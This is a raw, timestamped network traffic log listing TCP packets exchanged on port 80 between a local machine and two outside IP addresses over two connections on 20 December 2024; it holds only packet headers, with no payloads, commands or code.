Dec 20, 2024 17:43:48.301047087 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.301594973 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.301642895 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.301707983 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.301748037 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.301815987 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.301903963 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.301951885 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.302649975 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.302700996 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.302710056 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.302823067 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.302834988 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.302867889 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.302907944 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.302907944 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.303642035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.303749084 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.303761959 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.303792953 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.303827047 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.303911924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.303952932 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.304548979 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.304599047 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.304712057 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.304724932 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.304753065 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.304776907 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.304856062 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.305471897 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.305521011 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.305600882 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.305629015 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.305646896 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.305747032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.305793047 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.306391954 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.306479931 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.306529999 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.307317972 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.307377100 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.307414055 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.307462931 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.308413029 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.308425903 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.308463097 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.308485031 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.309150934 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.309308052 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.309359074 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.310058117 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.310167074 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.310534000 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.310585976 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.310945988 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.310991049 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.311022997 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.311062098 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.312736988 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.312757015 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.312771082 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.312797070 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.312825918 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.312889099 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.312932014 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.313710928 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.313767910 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.313832045 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.313879967 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.314663887 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.314707041 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.314742088 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.314784050 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.315529108 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.315571070 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.315633059 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.315670967 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.316479921 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.316525936 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.316613913 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.316657066 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.317400932 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.317512035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.317554951 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.318255901 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.318319082 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.318412066 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.318456888 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.319212914 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.319264889 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.319266081 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.320106030 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.320164919 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.320203066 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.320260048 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.321082115 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.321142912 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.321197033 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.321238995 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.321980953 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.322041035 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.322041988 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.322086096 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.322864056 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.322930098 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.322973967 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.323018074 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.323791981 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.323857069 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.323925018 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.323970079 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.324692965 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.324757099 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.324765921 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.325443983 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.325620890 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.325683117 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.325753927 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.325805902 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.326536894 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.326611042 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.326620102 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.326684952 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.327490091 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.327569962 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.327632904 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.328345060 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.328397989 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.328490973 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.328538895 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.329432011 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.329595089 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.329648018 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.330202103 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.330255032 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.330277920 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.330324888 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.331098080 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.331155062 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.331193924 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.331240892 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.332015991 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.332076073 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.332114935 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.332163095 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.332948923 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.333050966 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.333097935 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.333836079 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.333888054 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.333945990 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.333988905 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.334748030 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.334805012 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.334839106 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.334883928 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.416929960 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.417063951 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.417144060 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.417404890 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.417463064 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.417463064 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.417510986 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.418339014 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.418361902 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.418399096 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.418426037 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.419203043 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.420794964 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.443336964 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.443456888 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.443566084 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.443850994 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.443959951 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.444006920 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.444897890 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.444994926 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.445044994 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.445928097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.445986032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.446028948 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.447200060 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.447273016 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.447324038 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.448122025 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.448168039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.448213100 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.449069977 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.449162006 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.449207067 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.450186014 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.450280905 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.450328112 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.451132059 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.451291084 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.451329947 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.452217102 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.452265978 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.452308893 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.453218937 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.453332901 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.453391075 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.454359055 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.454381943 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.454428911 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.455317974 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.455379963 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.455434084 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.455478907 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.456402063 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.456461906 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.456505060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.457401037 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.457557917 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.457602024 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.458415031 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.458467960 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.458559036 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.459505081 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.459553003 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.459608078 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.460494041 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.460545063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.460602045 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.460647106 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.461556911 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.461671114 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.461718082 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.462591887 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.462770939 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.462824106 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.463486910 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.463624954 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.463682890 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.464533091 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.464590073 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.464673042 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.464788914 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.465651989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.465706110 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.465800047 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.465840101 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.466660023 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.466835976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.466880083 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.467698097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.467781067 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.467848063 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.468719959 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.468791008 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.468837976 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.469777107 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.469830990 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.469870090 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.471904993 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.471960068 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.471971989 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.471987009 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.472038984 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.472191095 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.472795963 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.472872972 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.473031044 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.473077059 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.473942041 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.474056959 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.474104881 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.474963903 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.475019932 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.475059032 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.476047039 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.476104021 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.476239920 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.476789951 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.477155924 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.477220058 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.477262974 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.478110075 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.478260040 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.478308916 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.479196072 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.479255915 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.479327917 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.480187893 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.480230093 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.480241060 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.480283022 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.481242895 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.481358051 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.481401920 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.482279062 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.482340097 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.482384920 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.482557058 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.482606888 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.482645035 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.482692957 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.482858896 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.482903004 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.482954025 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.483000994 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.483266115 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.483316898 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.483345985 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.483386993 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.483795881 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.483843088 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.483957052 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.484002113 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.484422922 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.484468937 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.484498024 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.484536886 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.484714031 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.484756947 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.484797001 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.485398054 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.485450029 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.485452890 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.485479116 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.485505104 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.485650063 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.485776901 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.485821962 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.486449957 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.486505032 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.486538887 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.486551046 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.486598015 CET	49769	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:48.486737967 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.486767054 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.486783981 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.487420082 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.487473011 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.487512112 CET	80	49776	194.126.174.112	192.168.2.6
Dec 20, 2024 17:43:48.487524986 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.487560987 CET	49776	80	192.168.2.6	194.126.174.112
Dec 20, 2024 17:43:48.487710953 CET	80	49769	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:48.487741947 CET	49769	80	192.168.2.6	31.41.244.11
